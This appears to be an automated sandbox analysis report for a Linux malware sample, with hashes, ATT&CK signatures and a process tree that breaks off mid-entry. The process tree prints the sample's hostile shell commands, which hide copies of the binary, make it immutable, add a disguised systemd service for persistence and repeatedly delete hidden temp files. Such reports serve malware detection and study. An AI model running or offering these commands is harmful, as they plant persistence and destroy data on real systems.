220940a9debf6cd95f9eccb6fa28d457a6c2c9387d8e9d0b080e19a1a43aa754

Analysis

max time kernel
149s
max time network
137s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
02/10/2026, 07:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
eclipse.i586.elf
Size 438KB
Sample261002-jjwpbacf62
SHA256 220940a9debf6cd95f9eccb6fa28d457a6c2c9387d8e9d0b080e19a1a43aa754
MD5 1d4d7e5a796ebaf227b5c469a6046717
SHA1 22e1d645a200e5b362676bb2ed3d259f378ba371
SHA512 987cd8e6ca304ef7baf531b7ba6cabda088e329c3d53009c7d41fd166646d2f4a43cf13a38e5855796ec7ac297ecbfe87a6cdd064c87a84277f00a56f3f1f3f2
SSDEEP 6144:IwC5Zohcv+A4duFPXRdxJB5UuPg1TSOixolNi5exTDCtl3KJ2sZ+8PQggA0VOioX:VQ2AFbdxJFY1Tcj2vw3W+8PQnAiSi+B
TLSH
T12CA47D02FBA2D973F45300F1125A6B629A33ED352437D4A7D3D62D64E9706D0872A3BB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1504	sh
1505	chmod

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.F3nVB0	crontab

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	eclipse.i586.elf

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/.eclipse.service	sh

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	eclipse.i586.elf

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1066/fd	eclipse.i586.elf
File opened for reading	/proc/1079/fd	eclipse.i586.elf
File opened for reading	/proc/82/fd	eclipse.i586.elf
File opened for reading	/proc/259/fd	eclipse.i586.elf
File opened for reading	/proc/579/fd	eclipse.i586.elf
File opened for reading	/proc/923/fd	eclipse.i586.elf
File opened for reading	/proc/965/fd	eclipse.i586.elf
File opened for reading	/proc/1/sched	systemctl
File opened for reading	/proc/34/fd	eclipse.i586.elf
File opened for reading	/proc/79/fd	eclipse.i586.elf
File opened for reading	/proc/89/fd	eclipse.i586.elf
File opened for reading	/proc/201/fd	eclipse.i586.elf
File opened for reading	/proc/997/fd	eclipse.i586.elf
File opened for reading	/proc/1062/fd	eclipse.i586.elf
File opened for reading	/proc/1380/fd	eclipse.i586.elf
File opened for reading	/proc/158/fd	eclipse.i586.elf
File opened for reading	/proc/6/fd	eclipse.i586.elf
File opened for reading	/proc/10/fd	eclipse.i586.elf
File opened for reading	/proc/1011/fd	eclipse.i586.elf
File opened for reading	/proc/1091/fd	eclipse.i586.elf
File opened for reading	/proc/1157/fd	eclipse.i586.elf
File opened for reading	/proc/1452/fd	eclipse.i586.elf
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/9/fd	eclipse.i586.elf
File opened for reading	/proc/31/fd	eclipse.i586.elf
File opened for reading	/proc/115/fd	eclipse.i586.elf
File opened for reading	/proc/159/fd	eclipse.i586.elf
File opened for reading	/proc/161/fd	eclipse.i586.elf
File opened for reading	/proc/678/fd	eclipse.i586.elf
File opened for reading	/proc/1020/fd	eclipse.i586.elf
File opened for reading	/proc/1191/fd	eclipse.i586.elf
File opened for reading	/proc/18/fd	eclipse.i586.elf
File opened for reading	/proc/22/fd	eclipse.i586.elf
File opened for reading	/proc/456/fd	eclipse.i586.elf
File opened for reading	/proc/1086/fd	eclipse.i586.elf
File opened for reading	/proc/1148/fd	eclipse.i586.elf
File opened for reading	/proc/1328/fd	eclipse.i586.elf
File opened for reading	/proc/708/fd	eclipse.i586.elf
File opened for reading	/proc/1064/fd	eclipse.i586.elf
File opened for reading	/proc/480/fd	eclipse.i586.elf
File opened for reading	/proc/1024/fd	eclipse.i586.elf
File opened for reading	/proc/1051/fd	eclipse.i586.elf
File opened for reading	/proc/5/fd	eclipse.i586.elf
File opened for reading	/proc/13/fd	eclipse.i586.elf
File opened for reading	/proc/906/fd	eclipse.i586.elf
File opened for reading	/proc/1092/fd	eclipse.i586.elf
File opened for reading	/proc/1348/fd	eclipse.i586.elf
File opened for reading	/proc/2/fd	eclipse.i586.elf
File opened for reading	/proc/98/fd	eclipse.i586.elf
File opened for reading	/proc/602/fd	eclipse.i586.elf
File opened for reading	/proc/714/fd	eclipse.i586.elf
File opened for reading	/proc/948/fd	eclipse.i586.elf
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/869/fd	eclipse.i586.elf
File opened for reading	/proc/942/fd	eclipse.i586.elf
File opened for reading	/proc/36/fd	eclipse.i586.elf
File opened for reading	/proc/84/fd	eclipse.i586.elf
File opened for reading	/proc/86/fd	eclipse.i586.elf
File opened for reading	/proc/977/fd	eclipse.i586.elf
File opened for reading	/proc/988/fd	eclipse.i586.elf
File opened for reading	/proc/1482/fd	eclipse.i586.elf
File opened for reading	/proc/160/fd	eclipse.i586.elf

System Network Configuration Discovery 1 TTPs 41 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1565	rm
1577	rm
1593	rm
1627	rm
1763	rm
1603	rm
1675	rm
1508	sh
1651	rm
1659	rm
1691	rm
1487	eclipse.i586.elf
1503	cp
1510	grep
1569	rm
1585	rm
1723	rm
1739	rm
1512	sh
1515	sh
1500	sh
1507	chattr
1513	sed
1514	sh
1635	rm
1643	rm
1731	rm
1771	rm
1501	cp
1611	rm
1619	rm
1667	rm
1683	rm
1707	rm
1747	rm
1755	rm
1506	sh
1561	rm
1699	rm
1715	rm
1502	sh

/tmp/eclipse.i586.elf
/tmp/eclipse.i586.elf
1⤵
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
- System Network Configuration Discovery
PID:1487
- /bin/sh
  sh -c "echo '0' > /proc/sys/kernel/pid_max 2>/dev/null"
  2⤵
  PID:1498
- /bin/sh
  sh -c "ulimit -u 50 2>/dev/null"
  2⤵
  PID:1499
- /bin/sh
  sh -c "cp /tmp/eclipse.i586.elf /var/tmp/.eclipse 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1500
- - /bin/cp
    cp /tmp/eclipse.i586.elf /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1501
- /bin/sh
  sh -c "cp /tmp/eclipse.i586.elf /usr/lib/.eclipse 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1502
- - /bin/cp
    cp /tmp/eclipse.i586.elf /usr/lib/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1503
- /bin/sh
  sh -c "chmod +x /var/tmp/.eclipse /usr/lib/.eclipse 2>/dev/null"
  2⤵
  - File and Directory Permissions Modification
  PID:1504
- - /bin/chmod
    chmod +x /var/tmp/.eclipse /usr/lib/.eclipse
    3⤵
    - File and Directory Permissions Modification
    PID:1505
- /bin/sh
  sh -c "chattr +i /var/tmp/.eclipse 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1506
- - /usr/bin/chattr
    chattr +i /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1507
- /bin/sh
  sh -c "crontab -l 2>/dev/null | grep -v '.eclipse' | crontab - 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1508
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    PID:1511
- - /bin/grep
    grep -v .eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1510
- - /usr/bin/crontab
    crontab -l
    3⤵
    PID:1509
- /bin/sh
  sh -c "sed -i '/.eclipse/d' /etc/rc.local 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1512
- - /bin/sed
    sed -i /.eclipse/d /etc/rc.local
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:1513
- /bin/sh
  sh -c "echo '[Unit] Description=System Service After=network.target [Service] Type=simple ExecStart=/var/tmp/.eclipse Restart=on-failure RestartSec=30 [Install] WantedBy=multi-user.target' > /etc/systemd/system/.eclipse.service 2>/dev/null"
  2⤵
  - Modifies systemd
  - System Network Configuration Discovery
  PID:1514
- /bin/sh
  sh -c "systemctl daemon-reload 2>/dev/null; systemctl enable .eclipse 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1515
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Reads runtime system information
    PID:1516
- - /bin/systemctl
    systemctl enable .eclipse
    3⤵
    - Reads runtime system information
    PID:1537
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1558
- - /bin/rm
    rm -rf /tmp/. /tmp/.. /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.font-unix
    3⤵
    PID:1559
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1560
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1561
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1562
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1563
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1564
- - /bin/rm
    rm -rf /run/. /run/.. /run/.eclipse.lock
    3⤵
    - System Network Configuration Discovery
    PID:1565
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1566
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1567
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1568
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1569
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1570
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1571
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1572
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1573
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1574
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1575
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1576
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1577
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1578
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1579
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1580
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1581
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1582
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1583
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1584
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1585
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1586
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1587
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1588
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1589
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1590
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1591
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1592
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1593
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1594
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1595
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1596
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1597
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1600
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1601
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1602
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1603
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1604
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1605
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1606
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1607
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1608
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1609
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1610
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1611
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1612
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1613
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1614
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1615
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1616
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1617
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1618
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1619
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1620
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1621
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1622
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1623
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1624
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1625
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1626
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1627
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1628
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1629
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1630
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1631
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1632
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1633
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1634
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1635
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1636
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1637
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1638
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1639
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1640
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1641
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1642
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1643
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1644
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1645
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1646
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1647
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1648
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1649
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1650
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1651
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1652
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1653
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1654
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1655
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1656
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1657
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1658
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1659
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1660
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1661
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1662
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1663
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1664
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1665
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1666
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1667
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1668
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1669
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1670
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1671
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1672
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1673
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1674
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1675
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1676
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1677
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1678
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1679
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1680
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1681
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1682
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1683
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1684
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1685
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1686
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1687
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1688
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1689
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1690
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1691
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1692
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1693
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1694
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1695
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1696
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1697
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1698
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1699
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1700
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1701
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1702
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1703
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1704
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1705
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1706
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1707
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1708
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1709
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1710
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1711
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1712
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1713
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1714
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1715
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1716
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1717
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1718
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1719
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1720
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1721
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1722
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1723
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1724
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1725
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1726
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1727
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1728
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1729
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1730
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1731
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1732
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1733
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1734
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1735
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1736
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1737
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1738
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1739
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1740
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1741
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1742
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1743
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1744
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1745
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1746
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1747
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1748
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1749
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1750
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1751
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1752
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1753
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1754
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1755
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1756
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1757
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1758
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1759
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1760
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1761
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1762
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1763
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1764
- - /bin/rm
